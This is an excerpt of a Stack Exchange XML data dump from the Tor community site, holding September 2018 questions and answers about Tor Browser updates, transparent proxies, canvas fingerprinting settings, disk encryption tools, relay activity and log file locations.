  <row Id="17683" PostTypeId="2" ParentId="17679" CreationDate="2018-09-06T09:47:10.493" Score="1" Body="&lt;p&gt;Circuit information is now shown within individual tabs by clicking the &quot;i&quot; object at the far left of the address or URL bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MNsXx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MNsXx.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22969" LastEditorUserId="20628" LastEditDate="2018-09-10T09:24:48.940" LastActivityDate="2018-09-10T09:24:48.940" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17685" PostTypeId="1" CreationDate="2018-09-06T10:13:15.567" Score="0" ViewCount="259" Body="&lt;p&gt;Let's say I setup a transparent/isolating Tor proxy (dedicated machine/router), through which all traffic is forced before going out to the Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a five machines &quot;behind&quot; that Tor proxy, all used by different people to surf the web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the question is, what data can the various endpoints (hidden services or clearnet) gather &lt;strong&gt;and&lt;/strong&gt; could they link one user's traffic to another one's?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one user tells his identity, could adversaries derive that the other four people must also be at that same location (or at least come from the same proxy)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(So far, I've found &lt;a href=&quot;https://stackoverflow.com/a/18906789/569825&quot;&gt;this answer&lt;/a&gt;, basically indicating that, for high anonymity, all users would have to use a different SocksPort/TransPort on the proxy. I hope that's outdated though, since it would mean that the described isolating proxy concept would require high maintenance - setting up one TransPort per user.)&lt;/p&gt;&#xA;" OwnerUserId="21001" LastActivityDate="2021-12-19T20:07:05.650" Title="If multiple users connect through the same Tor router can data be correlated?" Tags="|transparent-proxy|stream-isolation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17686" PostTypeId="2" ParentId="17639" CreationDate="2018-09-06T10:32:08.423" Score="0" Body="&lt;p&gt;It is not more save if you use Tor in either normal or save mode in windows. Windows save mode (with or without networking) is only used to trace problems with your OS or the devices you have in your computer. So you can backtrack and fix the problem. On this site &lt;a href=&quot;https://www.computerhope.com/issues/ch001563.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.computerhope.com/issues/ch001563.htm&lt;/a&gt; you can see what windows save mode actually does. &lt;/p&gt;&#xA;" OwnerUserId="22958" LastActivityDate="2018-09-06T10:32:08.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17688" PostTypeId="2" ParentId="17685" CreationDate="2018-09-06T11:26:21.480" Score="0" Body="&lt;p&gt;What you are describing here is quite similar to a transparent proxy (just with users instead of applications) &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO#Evenlesscommon:useaTransparentProxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;which is not recommended&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This practice isn't recommended because all the connections use the same circuit, which is dangerous and leads to identity correlation.&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-09-06T11:26:21.480" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="17689" PostTypeId="2" ParentId="17652" CreationDate="2018-09-06T12:52:51.517" Score="3" Body="&lt;p&gt;Tor connections are in general secure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However for a global adversary it would be possible to trace a Tor connection back to a user. &#xA;It is not known whether such a global adversary exists or if this has ever happened. So far all known deanonymization attacks were done using JavaScript.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All Tor nodes are public and can be retrieved by anyone (e.g. through &lt;a href=&quot;https://metrics.torproject.org/rs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal connections to the Tor network can be easily detected by ISPs. However this can be prevented by using bridges and pluggable transports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like every software that has been and ever will be created, nothing is ultimately safe. However there are no currently known vulnerabilities in Tor and as far as public knowledge goes, Tor is safe to use.&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-09-06T12:52:51.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17690" PostTypeId="1" CreationDate="2018-09-06T15:39:09.703" Score="0" ViewCount="1678" Body="&lt;p&gt;I've only had the update for an hour. &#xA;I HATE it!!!&#xA;nothing is where it's supposed to be. &#xA;I cant get text instead of icons. I can barely SEE icons. &#xA;classic theme restorer does not work and system restore did not fix it.&#xA;there is no uninstall file in the folder - my theme is broken.. everything is green.. the tabs are way too big.&lt;br&gt;&#xA;I hate it so much I had to come here with palemoon.&lt;br&gt;&#xA;Please tell me how to roll back&#xA;I really don't want to have to reinstall windows to remove all traces of this update.&#xA;Deleting all TOR folders and reinstalling an older version and disabling the update feature doe NOT work.&#xA;Every time I close the older version, it updates anyway&#xA;If someone has a way to roll back.. or which version to roll back to so it doesn't keep putting the latest update on my machine.. please.. enlighten me.&lt;/p&gt;&#xA;" OwnerUserId="22972" LastEditorUserId="88" LastEditDate="2018-09-12T12:05:28.407" LastActivityDate="2022-09-05T04:57:47.373" Title="How do I roll back from today's update to 8.0?" Tags="|tor-browser-bundle|update|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17693" PostTypeId="2" ParentId="17653" CreationDate="2018-09-06T19:11:21.353" Score="0" Body="&lt;p&gt;I do know LUKS on Linux partition and frequently using but I have also windows desktop. I also know Veracrypt but I have red article saying that also Veracrypt is prone to cracking or brute force attacks.&lt;a href=&quot;https://blog.elcomsoft.com/2016/07/breaking-bitlocker-encryption-brute-forcing-the-backdoor-part-ii/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.elcomsoft.com/2016/07/breaking-bitlocker-encryption-brute-forcing-the-backdoor-part-ii/&lt;/a&gt;&#xA;Also bitlocker is not 100% safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No good reference about those tools saying how secure it shall be?&lt;/p&gt;&#xA;" OwnerUserId="16928" LastActivityDate="2018-09-06T19:11:21.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17694" PostTypeId="2" ParentId="17690" CreationDate="2018-09-06T19:38:39.433" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://dist.torproject.org/torbrowser/7.5.6/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dist.torproject.org/torbrowser/7.5.6/&lt;/a&gt; &#xA;when you first start in the settings, you can disable checking for updates&lt;/p&gt;&#xA;" OwnerUserId="22975" LastActivityDate="2018-09-06T19:38:39.433" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17695" PostTypeId="2" ParentId="17653" CreationDate="2018-09-06T20:30:00.860" Score="1" Body="&lt;p&gt;Don´t exists a &quot;ultimate encryption tool&quot; but with right tools e a little discipline is possible protect your files with a good encryption cipher and software, my recommendation is &lt;a href=&quot;https://www.veracrypt.fr/en/Downloads.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Veracrypt&lt;/a&gt; with AES-Twofish-Serpent cascade cipher and SHA-512 Hash cipher, if your have some problem with SHA-512 you can use Whirlpool cipher instead, a community developed cipher with 512 bits like SHA-512.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Mcf7Q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mcf7Q.png&quot; alt=&quot;AES-Twofish-Serpent SHA-512 Encryption conf on veracrypt&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows systems veracrypt also used for encryption hard disk offering a more trusted protection than Bitlocker using a AES-256 cipher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Linux/BSD systems LUKS disk encryption and GELi is best default options available instead Veracrypt or others softwares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use PGP with a key-pair RSA-4096 for encrypt text / email and even files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this: Obs *Onion Hidden Services required Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://deepdot35wvmeyd5.onion/2013/11/11/pgp-tutorial-for-newbs-gpg4win/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PGP Tutorial For Newbs (Gpg4Win)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://deepdot35wvmeyd5.onion/2015/02/21/pgp-tutorial-for-windows-kleopatra-gpg4win/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PGP Tutorial For Windows (Kleopatra – Gpg4Win)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://deepdot35wvmeyd5.onion/2015/02/17/basic-guide-pgp-linux/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Basic Guide to PGP On Linux&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally... Your protection depends largely on your enemy and the amount of resources that they have, for common people combination of this softwares and good practices that's enough.&lt;/p&gt;&#xA;" OwnerUserId="22974" LastEditorUserId="22974" LastEditDate="2018-09-06T20:50:32.073" LastActivityDate="2018-09-06T20:50:32.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17697" PostTypeId="2" ParentId="17506" CreationDate="2018-09-07T06:01:43.067" Score="2" Body="&lt;p&gt;Enter &lt;code&gt;about:config&lt;/code&gt; into the address bar. You'll see a warning. Please be careful when making changes. Enter &lt;code&gt;privacy.resistFingerprinting.autoDeclineNoUserInputCanvasPrompts&lt;/code&gt; into the search bar and double-click the entry. It should be set to &lt;code&gt;false&lt;/code&gt; now. The setting was immediately changed and you can close the tab.&lt;/p&gt;&#xA;" OwnerUserId="22977" LastEditorUserId="88" LastEditDate="2018-09-12T11:45:34.667" LastActivityDate="2018-09-12T11:45:34.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17698" PostTypeId="2" ParentId="17402" CreationDate="2018-09-07T08:09:11.450" Score="0" Body="&lt;p&gt;Tor Browser can be used as a so-called portable app. This means you download the software and extract it. You can extract the software basically to any folder, device, etc. So some people use it on a USB stick or put it into their local folder. You can simply click on start Tor Browser and the software starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answers to the question »&lt;a href=&quot;https://tor.stackexchange.com/q/849/88&quot;&gt;Are browsing files stored locally?&lt;/a&gt;« describe that Tor tries to not write any files to the local drive. So also the fact that Tor is used is quite hidden.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2018-09-07T08:09:11.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17704" PostTypeId="2" ParentId="17506" CreationDate="2018-09-07T15:22:23.920" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;In the adress bar in Tor enter: about:config&lt;/li&gt;&#xA;&lt;li&gt;Accept the risk&lt;/li&gt;&#xA;&lt;li&gt;Search for privacy.resistFingerprinting.autoDeclineNoUserInputCanvasPrompts&lt;/li&gt;&#xA;&lt;li&gt;Change the value from &quot;true&quot; to &quot;false&quot;&lt;/li&gt;&#xA;&lt;li&gt;Open WhatsApp web and if you are prompted to authorize the Input Canvas simply accept.&lt;/li&gt;&#xA;&lt;li&gt;Refresh the page&lt;/li&gt;&#xA;&lt;li&gt;Enjoy WhatsApp Web&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="22985" LastActivityDate="2018-09-07T15:22:23.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17706" PostTypeId="1" CreationDate="2018-09-07T15:44:47.983" Score="0" ViewCount="924" Body="&lt;p&gt;Canvas works even if privacy.resistFingerprinting.autoDeclineNoUserInputCanvasPrompts is enabled on TBB 8.0, is that normal ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can test with this. &lt;a href=&quot;https://smashcat.org/av/canvas_test/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://smashcat.org/av/canvas_test/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22987" LastActivityDate="2021-12-21T07:06:05.523" Title="Canvas is working on TBB 8.0 with privacy.resistFingerprinting.autoDeclineNoUserInputCanvasPrompts" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17708" PostTypeId="2" ParentId="17706" CreationDate="2018-09-07T20:50:15.620" Score="0" Body="&lt;p&gt;If you configure &quot;privacy.resistFingerprinting.autoDeclineNoUserInputCanvasPrompts&quot; to &quot;false&quot; you improve your privacy disabling the automatically inputs don´t requested by user of canvas and do not disable it itself, that is, canvas keeps rolling with reduced chances of fingerprint analysis. The cost of disable is the drop of canvas performance, you can see this in the same test you posted:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Canvas auto input enable (Better performance option):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4uafB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4uafB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Canvas auto input disable (Better privacy option):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kvNuo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kvNuo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the auto-input disabled the web page always asks if you want to activate it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/k6K7K.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/k6K7K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22974" LastEditorUserId="22974" LastEditDate="2018-09-07T21:55:55.010" LastActivityDate="2018-09-07T21:55:55.010" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17709" PostTypeId="2" ParentId="17577" CreationDate="2018-09-07T22:02:38.097" Score="1" Body="&lt;p&gt;I tested right now  ( ͡° ͜ʖ ͡°) and the website just appear the exit node location, are you sure your connection did not coincidentally fall into an exit-node of your own country?&lt;/p&gt;&#xA;" OwnerUserId="22974" LastActivityDate="2018-09-07T22:02:38.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17712" PostTypeId="1" CreationDate="2018-09-08T20:10:19.200" Score="0" ViewCount="91" Body="&lt;p&gt;Ive been testing a run of a tor exit relay on a vps which has been active for a few hours however, when using nyx to show traffic stats it shows little to no usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive also tried searching for my relay on torstatus but no results are shown for the ip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when running &lt;code&gt;/usr/sbin/tor --verify-config&lt;/code&gt; it shows the configuration was valid and that its running as an exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also ensured that the default accept out and forward policy is enabled. ports 9001 tcp &amp;amp; 80 tcp are also accessible from the outside, verified through a qucik nmap scan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the traffic for both upload nor download has gone above 1 -2KB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wiJOh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wiJOh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How long do I have to wait to see any activity on my relay? and is there anything im missing?&lt;/p&gt;&#xA;" OwnerUserId="22995" LastEditorUserId="22995" LastEditDate="2018-09-08T20:20:57.397" LastActivityDate="2018-10-09T04:01:36.447" Title="No activity showing for Tor exit relay" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17715" PostTypeId="2" ParentId="17712" CreationDate="2018-09-09T02:10:04.887" Score="1" Body="&lt;p&gt;So ive been looking into the lifecycle of a tor realy and this seems to behave as you would expect. &lt;a href=&quot;https://blog.torproject.org/lifecycle-new-relay&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/lifecycle-new-relay&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22995" LastActivityDate="2018-09-09T02:10:04.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17724" PostTypeId="1" AcceptedAnswerId="17809" CreationDate="2018-09-09T16:59:49.997" Score="0" ViewCount="657" Body="&lt;p&gt;After upgrade from Tor Browser from 7.X to 8.0 I now have two Tor Browser icons on the launcher. How can I remove one of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OS: Ubuntu 16.04&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional info: the top one does not respond to clicks (should bring to foreground)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;both disappear when Tor Browser is closed (expected)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDITTED: the desktop file contains the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Icon=/INSTALL_LOCATION/Tor Browser/Browser/browser/icons/mozicon128.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the &lt;code&gt;png&lt;/code&gt; does not exist (it used to exist in 7.X)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually changing to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Icon=/INSTALL_LOCATION/Tor Browser/Browser/browser/chrome/icons/default/default128.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;fixes it temporarily (once I use the desktop file the change is gone)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;How can I make this change permanently?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="23014" LastEditorUserId="23014" LastEditDate="2018-09-11T03:03:00.467" LastActivityDate="2018-09-22T17:09:04.903" Title="Multiple icons shown on launcher" Tags="|tor-browser-bundle|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17725" PostTypeId="1" CreationDate="2018-09-09T17:09:52.777" Score="1" ViewCount="212" Body="&lt;p&gt;Say I'm using Tor, and I make an error by, for example, logging into an account on a website. Will this deanonymization only affect my current session, since I can just restart my browser and get a new connection (and erase cookies, etc.)?&lt;/p&gt;&#xA;" OwnerUserId="23015" LastActivityDate="2021-12-23T07:04:55.583" Title="Does deanonymization only affect the current session?" Tags="|anonymity|security|deanonymization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17728" PostTypeId="2" ParentId="17725" CreationDate="2018-09-10T01:38:27.163" Score="0" Body="&lt;p&gt;You should clean your system (on windows) after closing the browser with something similar to CCleaner to have no traces remaining.&#xA;But Windows isn’t that save with TOR. If you want to do it right use Tails on an USB drive and reboot after a mistake like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the best for both cases is not to make a mistake as the one you talked about...&lt;/p&gt;&#xA;" OwnerUserId="22822" LastActivityDate="2018-09-10T01:38:27.163" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17730" PostTypeId="2" ParentId="17140" CreationDate="2018-09-10T08:05:18.580" Score="3" Body="&lt;p&gt;The message itself comes from the start script. It checks if the current user has the id 0 (which is the root user) and exits with the message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Tor Browser Bundle should not be run as root.  Exiting.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In general it is considered good security practise that one should not run software as root. Especially when one browses the web there are quite some possible attacks and browsers have lots of weaknesses. So if it is possible for a website to successful attack the browser, it can access local data. In the case of a root user this means that the attacker has access to the whole system. The attacker can read and write arbitrary files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for security reasons it is better to run software as a normal user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But also when you think about normal operation it is quite dangerous to do everything as root. Usually people make mistakes and making a mistake as root can have catastrophic outcomes. So it is better to only make administrative work as root and everything else as normal user.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2018-09-10T08:05:18.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17744" PostTypeId="2" ParentId="4209" CreationDate="2018-09-11T18:52:46.780" Score="-1" Body="&lt;p&gt;Let us start with that Linux has tcp/ip while Windows uses XNS with NETBIOS - Microsoft has just made Windows to work with the Internet they way they want to interface. There is none of the tcp/ip security. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not related to open vs closed source code, it is related to the Internet security that is in tcp/ip and never has been on Windows. Stop this &quot;they have done it their way&quot;: MS has never tried to implement any security. Your connections stays open, are not taken down. Your connections are not point-to-point, they are shared between &quot;applications&quot;. You can write, (well in C/C++) code that can intercept everything on your system, and leave nothing private. Be my guest, shower in public, others do it all the time. Just understand, it is in public display. &quot;I will try to shelter my Internet activity with a TOR browser&quot; - be my guest, shower with niqab!&lt;/p&gt;&#xA;" OwnerUserId="22766" LastActivityDate="2018-09-11T18:52:46.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17745" PostTypeId="2" ParentId="635" CreationDate="2018-09-11T19:03:41.383" Score="-1" Body="&lt;p&gt;Do it again, and then on both make a &quot;netstat -a&quot; before and after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just look for the &quot;sockets&quot; with state WAIT - lingering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a tcp/ip option that pester the Microsoft implementation badly, and gives the rest of us massive pain: Microsoft with XNS has no &quot;options&quot;, their connections are not killed immediately, but remain available for other to use. It saves nothing, but now Windows rely on &quot;policing&quot; its connections and manage who use them. This is called &quot;security software&quot; in various flavours, that can be coded to detect &quot;lingering sockets&quot; and block connection attempts to these. What is an error and omission has created a &quot;industry&quot; of special software - &quot;cyber nannies&quot; and &quot;sherif&quot; with &quot;smoking guns&quot;. Sorry, it is easier to lock the door. Please use Linux (or iOS/OSX) with the full tcp/ip stack and socket options.&lt;/p&gt;&#xA;" OwnerUserId="22766" LastActivityDate="2018-09-11T19:03:41.383" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17746" PostTypeId="2" ParentId="663" CreationDate="2018-09-11T19:13:27.683" Score="-1" Body="&lt;p&gt;Beware that &quot;tail&quot; is an &quot;application&quot; - a Linux executable, like &quot;ls&quot;, but buffers, say 24 lines, and shows then the last 24 lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if tail is used in a pipeline, every command on the shell script is forked as a process, and has its own context. Tail will read &quot;stdout&quot; from the previous - as stdin to itself. So error messages goes to stderr, and may be lost. More important is that connections to the net is not shared on Linux, but that may well be the case on Windows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows every task can share a connection, accepts the messages and it is easier to buffer and show error diagnostics. Well, some messages are still not shown, but those you can see on Linux can emulated. Linux uses /etc/services to define services and port usage, very different to the Windows anarchy.&lt;/p&gt;&#xA;" OwnerUserId="22766" LastActivityDate="2018-09-11T19:13:27.683" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17748" PostTypeId="1" CreationDate="2018-09-11T22:48:20.840" Score="0" ViewCount="92" Body="&lt;p&gt;I updated tor browser to the latest version that does not support ScrapBook X. It looks like I lost all my scrapbooked records. Is there any way to find the records? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="23048" LastActivityDate="2022-04-09T10:05:00.483" Title="Updated Tor Browser to the latest version and lost all scrapbooked records. Anyway to find the records?" Tags="|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17752" PostTypeId="1" CreationDate="2018-09-12T06:53:41.990" Score="13" ViewCount="20699" Body="&lt;p&gt;On my linux i can run &lt;code&gt;sudo journalctl -u tor@default&lt;/code&gt; to see tor log. where is the log file stored on the system. Maybe a unix.stakexchange kind of question but i opt to ask it here&lt;/p&gt;&#xA;" OwnerUserId="21351" LastEditorUserId="88" LastEditDate="2018-09-12T11:31:58.273" LastActivityDate="2022-06-23T09:26:32.740" Title="Where is the tor log file" Tags="|linux|log|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17753" PostTypeId="2" ParentId="17752" CreationDate="2018-09-12T07:44:06.867" Score="4" Body="&lt;p&gt;Usually Tor stores its log files in &lt;code&gt;/var/log/tor&lt;/code&gt;. Depending from the specific settings you'll find &lt;code&gt;/var/log/tor/notices.log&lt;/code&gt;, &lt;code&gt;/var/log/tor/log&lt;/code&gt;, &lt;code&gt;/var/log/tor/info.log&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&lt;p&gt;The option &lt;code&gt;Log&lt;/code&gt; in &lt;code&gt;torrc&lt;/code&gt; specifies where the log file is stored and what kind of information is logged. So if you don't find the above mentioned files please have a look into your configuration.&lt;/p&gt;&#xA;&lt;p&gt;An example entry could look like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Log info file /tmp/foo/bar.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This would write a log file with &lt;code&gt;info&lt;/code&gt; messages to &lt;code&gt;/tmp/foo/bar.log&lt;/code&gt; .&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2021-04-06T19:46:38.377" LastActivityDate="2021-04-06T19:46:38.377" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17754" PostTypeId="2" ParentId="17752" CreationDate="2018-09-12T08:52:49.773" Score="11" Body="&lt;p&gt;By default &lt;code&gt;stdout&lt;/code&gt; and &lt;code&gt;stderr&lt;/code&gt; of a systemd unit are sent to &lt;strong&gt;syslog&lt;/strong&gt;. On my machine(Kali distro) it is stored in &lt;code&gt;/var/log/syslog&lt;/code&gt;. So to see tor unit output run&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cat /var/log/syslog | grep tor -i&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or to keep following the log:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tail -F /var/log/syslog | grep tor -i&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;maybe you need a sudo:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo tail -F /var/log/syslog | grep tor -i&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;Edit&lt;/h1&gt;&#xA;&lt;p&gt;In case someone needs to monitor tor unit i found a better way. Adding &lt;code&gt;-f&lt;/code&gt; or &lt;code&gt;--follow&lt;/code&gt; flag to &lt;code&gt;journalctl&lt;/code&gt; makes it to continuously print new entries as they are appended to the journal. You can then pipe it to a parser and react based on it.&lt;/p&gt;&#xA;&lt;p&gt;In one of your termianl tabs run&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo journalctl -f -u tor@default | grep bootstrapped -i&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in another tab do&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo systemctl restart tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You will see the results are appended to the first terminal as they are appended to the systemd journal&lt;/p&gt;&#xA;" OwnerUserId="21351" LastEditorUserId="16962" LastEditDate="2022-06-23T09:26:32.740" LastActivityDate="2022-06-23T09:26:32.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17755" PostTypeId="1" CreationDate="2018-09-12T10:42:48.910" Score="2" ViewCount="1636" Body="&lt;p&gt;I was using the Tor Browser to crawl a few google results with a program in C# and selenium. I decided to take the next step and use the Tor Expert Bundle. I set the socks port, control port, control password hash, geoip/geoip6/data location properly in the torrc file, and when I run it shows that is running ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is: seems to me that Google blocks me much more when I am using the Tor Expert Bundle than when I am using the Tor Browser, this makes any sense? Is possible that the Tor Browser has a configuration that I am not using? What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="13825" LastActivityDate="2018-09-13T05:34:18.713" Title="Difference between Tor Browser and Tor Expert Bundle" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
